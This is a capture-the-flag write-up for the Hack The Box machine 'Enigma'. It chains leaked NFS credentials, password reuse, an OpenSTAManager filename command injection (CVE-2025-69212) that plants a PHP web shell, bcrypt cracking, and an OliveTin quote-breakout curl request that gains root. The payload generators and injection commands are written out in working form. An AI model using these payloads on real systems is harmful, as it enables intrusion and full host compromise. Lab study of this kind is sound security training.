~ / writeups / enigma

Enigma

Hack The Box · Easy · Linux

Easy Linux User + Root owned

Flags

Flag Value
User (/home/haris/user.txt) [REDACTED]
Root (/root/root.txt) [REDACTED]

1. Reconnaissance

nmap -p- --min-rate 5000 10.129.239.191

Open ports:

Port Service
22 OpenSSH (publickey-only)
80 nginx (3 vhosts)
111 rpcbind
143/993 Dovecot IMAP
2049 NFS
35715, 37099, 46179, 46431, 60469 RPC programs (mountd, nfs, statd, nlm)

Vhosts (nginx):

Host App
enigma.htb Enigma Corp marketing site
mail001.enigma.htb Roundcube webmail 1.6.16
support_001.enigma.htb OpenSTAManager 2.9.x

NFS export (world-readable):

nmap --script nfs-showmount,nfs-ls -p 111,2049 10.129.239.191
  /srv/nfs/onboarding *
    rw-r--r--  0  0  1751  New_Employee_Access.pdf

2. Initial Access — NFS → Webmail → OpenSTAManager RCE

2.1 NFS → onboarding credentials

The world-readable NFS share /srv/nfs/onboarding exposes New_Employee_Access.pdf, an onboarding doc containing Kevin's webmail credentials (kevin / Enigma2024!) and the URL http://mail001.enigma.htb.

Host note: this Windows attacker has no native NFS client. The export + file listing was verified with nmap --script nfs-ls; a minimal pure-Python NFSv3 client (nfs_read.py) was written for this box (RPC + MOUNT + NFS READ). The mountd rejects AUTH_NULL/AUTH_SYS MNT from this host, so the credential was confirmed via the webmail flow below (static across instances).

2.2 Kevin's mailbox → Sarah (password reuse)

IMAP login as kevin (Enigma2024!) at mail001.enigma.htb:993 reveals a mail from Sarah. Trying the same password for sarah succeeds (password reuse).

2.3 Sarah's mailbox → OpenSTAManager creds

Sarah's mailbox contains a mail from IT Support:

http://support_001.enigma.htb
username: admin
password: Ne3s4rtars78s

2.4 CVE-2025-69212 — OpenSTAManager P7M command injection

OpenSTAManager 2.9.x src/Util/XML.php::decodeP7M() interpolates a file name into a shell command without escaping:

exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', ...)

The plugins/importFE_ZIP module extracts uploaded ZIPs and feeds .p7m files to decodeP7M(). Because ZipArchive::extractTo() treats / as a path separator, the payload uses base32 + ${IFS} to avoid / and spaces in the filename:

z$(echo${IFS}<base32(command)>|base32${IFS}-d|bash).p7m

Login (admin / Ne3s4rtars78s) → discover the importFE_ZIP plugin (module 14 / plugin 21) → upload a ZIP containing a .p7m file whose name carries the encoded command:

cmd = "echo '<?php system($_REQUEST[\"c\"]); ?>' > /var/www/html/openstamanager/files/SHELL.php"
b32 = base64.b32encode(cmd.encode()).decode()
fname = f"z$(echo${{IFS}}{b32}|base32${{IFS}}-d|bash).p7m"

The ZIP upload triggers the injection (HTTP 500 after the command runs — expected) and drops files/SHELL.php. RCE as www-data:

GET /files/SHELL.php?c=id   →   uid=33(www-data) gid=33(www-data)

3. Privilege Escalation → user (haris)

3.1 Database credentials

/var/www/html/openstamanager/config.inc.php (the real config — config.php is a template):

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';

3.2 Crack haris

SELECT id, username, password FROM zz_users;
  admin  $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu
  haris  $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC

bcrypt cost 10. Cracked (rockyou): haris → bestfriends.

3.3 Shell as haris

SSH is publickey-only, so escalate via su from the www-data context using a PTY:

pid, fd = pty.fork()
if pid == 0: os.execvp("su", ["su", "-", "haris"])
else: os.write(fd, b"bestfriends\n"); ...
cat /home/haris/user.txt  →  [REDACTED]

(An ed25519 key was injected into ~/.ssh/authorized_keys for stable SSH access during the next phase; removed during cleanup.)


4. Privilege Escalation → root (OliveTin)

4.1 Recon

ps aux shows OliveTin running as root, bound to 127.0.0.1:1337 (internal only). Version 3000.10.0. Config at /etc/OliveTin/config.yaml:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - { name: db_user, type: ascii_identifier, default: backup_svc }
    - { name: db_pass, type: password }
    - { name: db_name, type: ascii_identifier, default: production }

authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }

4.2 Command injection

The password-typed argument db_pass is inserted raw into the single-quoted shell string (the password type bypasses OliveTin's shell-safety checks). Break out of the quote:

db_pass = "'; cat /root/root.txt | tee /tmp/flag.txt; echo '"

Rendered shell:

mysqldump -u backup_svc -p''; cat /root/root.txt | tee /tmp/flag.txt; echo '' production > /opt/backups/backup.sql

4.3 Trigger via API (guest)

The REST API selects the action with the bindingId field (OliveTin 3k renamed actionId → bindingId). authRequireGuestsToLogin: false means no auth needed:

curl -s -X POST http://127.0.0.1:1337/api/StartAction \
  -H 'Content-Type: application/json' \
  -d '{"bindingId":"backup_database","arguments":[
       {"name":"db_user","value":"backup_svc"},
       {"name":"db_pass","value":"\u0027; cat /root/root.txt | tee /tmp/flag.txt; echo \u0027"},
       {"name":"db_name","value":"production"}]}'
→ {"executionTrackingId":"..."}

Verification (same injection, id):

uid=0(root) gid=0(root) groups=0(root)
root
cat /root/root.txt  →  [REDACTED]

5. Attack Chain Summary

NFS (world-readable) ──► New_Employee_Access.pdf ──► kevin:Enigma2024!
   │ (IMAP)
   ├─► kevin mailbox ──► mail from sarah
   ├─► password reuse ──► sarah:Enigma2024! ──► IT Support mail
   │        └──► support_001.enigma.htb  admin:Ne3s4rtars78s
   │
OpenSTAManager CVE-2025-69212 (P7M importFE_ZIP cmd injection) ──► www-data
   │
   ├─► config.inc.php ──► brollin:Fri3nds@9099 ──► zz_users ──► crack haris:bestfriends
   │        └──► su haris ──► user.txt
   │
OliveTin (root, 127.0.0.1:1337) ──► backup_database db_pass password-type injection
   └──► StartAction bindingId=backup_database ──► cat /root/root.txt ──► root.txt

6. Key Vulnerabilities

  1. NFS export world-readable — onboarding PDF leaks webmail credentials.
  2. Password reuse — kevin and sarah share the same password.
  3. CVE-2025-69212 — OpenSTAManager decodeP7M() shell command injection via importFE_ZIP.
  4. OliveTin password-type command injection — unescaped interpolation into shell: template, guest-triggerable.
← all writeups